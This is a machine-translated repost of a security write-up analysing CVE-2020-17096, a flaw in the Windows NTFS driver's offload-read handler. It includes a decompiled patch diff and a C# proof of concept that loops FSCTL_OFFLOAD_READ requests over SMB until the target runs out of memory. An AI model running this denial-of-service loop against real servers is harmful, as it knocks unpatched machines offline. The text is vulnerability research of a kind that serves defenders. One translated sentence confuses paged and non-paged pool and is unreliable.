前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >NTFS远程代码执行(CVE-2020-17096)分析

NTFS远程代码执行(CVE-2020-17096)分析

作者头像
Khan安全团队
发布2021-01-11 11:41:06
6990
发布2021-01-11 11:41:06
举报
文章被收录于专栏:Khan安全团队

这是微软在2020年12月12日发布的CVE-2020-17096漏洞分析。评估的远程代码执行漏洞与Exploitation。"更有可能",在周二最后的补丁修复中,抓住了我们的注意力。

差异化的ntfs.sys

用BinDiff对比打了补丁的驱动和未打补丁的版本,我们看到只改变了一个功能,NtfsOffloadRead。

这个函数比较大,从两个驱动版本的仔细对比来看,唯一改动的代码位于函数的最开始:

代码语言:javascript
复制
uint NtfsOffloadRead(PIRP_CONTEXT IrpContext, PIRP Irp)
{
  PVOID decoded = NtfsDecodeFileObjectForRead(...);
  if (!decoded) {
    if (NtfsStatusDebugFlags) {
      // ...
    }
    // *** Change 1: First argument changed from NULL to IrpContext
    NtfsExtendedCompleteRequestInternal(NULL, Irp, 0xc000000d, 1, 0);
    // *** Change 2: The following if block was completely removed
    if (IrpContext && *(PIRP *)(IrpContext + 0x68) == Irp) {
      *(PIRP *)(IrpContext + 0x68) = NULL;
    }
    if (NtfsStatusDebugFlags) {
      // ...
    }
    return 0xc000000d;
  }

  // The rest of the function...
}

触发脆弱的代码

从函数的名称,我们推断出它负责处理卸载读取请求,这是Windows 8中引入的卸载数据传输功能的一部分。通过发出FSCTL_OFFLOAD_READ控制代码,可以通过SMB远程请求卸载读取。

事实上,通过发出FSCTL_OFFLOAD_READ控制代码,我们已经看到NtfsOffloadRead函数正在被调用,但第一个if分支被跳过。经过实验,我们看到有一种触发分支的方法是在发出offload read之前打开一个文件夹,而不是一个文件。

探讨开发方案

我们分别研究了这两个变化,并试图用最简单的方法来给脆弱的计算机造成一些麻烦。

第一个变化。NtfsExtendedCompleteRequestInternal函数没有接收IrpContext参数。

简单看了一下NtfsExtendedCompleteRequestInternal,如果第一个参数是NULL,似乎就被忽略了。否则,IrpContext结构的众多字段就会被使用ExFreePoolWithTag等函数释放。这段代码比较长,我们没有彻底分析,但从快速浏览中,我们没有找到滥用这些函数在易受攻击版本中没有被调用的方法。我们观察到,认为这个bug会导致非分页池的内存泄漏,而分页池是保证驻留在物理内存中的。

我们实现了一个小工具,在无限循环中发出卸载读取。几个小时后,我们的脆弱的虚拟机跑出了内存并冻结,不再响应任何输入。下面你可以看到任务管理器的截图和我们使用的代码。

第二个变化。一个IRP指针字段,IrpContex的一部分,被设置为NULL。

根据我们的快速尝试,我们没有找到滥用IRP指针字段被设置为NULL的方法。如果你有什么想法,请告诉我们。

那远程代码执行呢?

我们和你一样好奇。不幸的是,我们能投入的时间有限,无法满足我们的好奇心。我们尽可能地找到了漏洞代码,并触发它,导致内存泄漏和最终的拒绝服务,但我们无法利用它进行远程代码执行。

这里有可能没有实际的远程代码执行,为了以防万一,我们将其标记为 "坏邻居 "ICMPv6漏洞(CVE-2020-16898)。如果你有什么见解,我们将很乐意听到。

CVE-2020-17096 POC(拒绝服务)

之前闲置的虚拟机,配置标准,没有运行的程序。

后触发内存泄漏后,同一空闲的虚拟机,无响应。

代码语言:javascript
复制
using (var trans = new Smb2ClientTransport())
{
    var ipAddress = System.Net.IPAddress.Parse(ip);
    trans.ConnectShare(server, ipAddress, domain, user, pass, share, SecurityPackageType.Negotiate, true);

    trans.Create(
        remote_path,
        FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,
        FsImpersonationLevel.Anonymous,
        FsFileAttribute.FILE_ATTRIBUTE_DIRECTORY,
        FsCreateDisposition.FILE_CREATE,
        FsCreateOption.FILE_DIRECTORY_FILE);

    FSCTL_OFFLOAD_READ_INPUT offloadReadInput = new FSCTL_OFFLOAD_READ_INPUT();
    offloadReadInput.Size = 32;
    offloadReadInput.FileOffset = 0;
    offloadReadInput.CopyLength = 0;

    byte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);

    while (true)
    {
        trans.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);
        trans.ExpectIoctlPayload(out _, out _);
    }
}

导致内存泄漏和最终拒绝服务的C#代码。与Windows协议测试套件一起使用。

参考文献:

https://blog.zecops.com/vulnerabilities/ntfs-remote-code-execution-cve-2020-17096-analysis/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档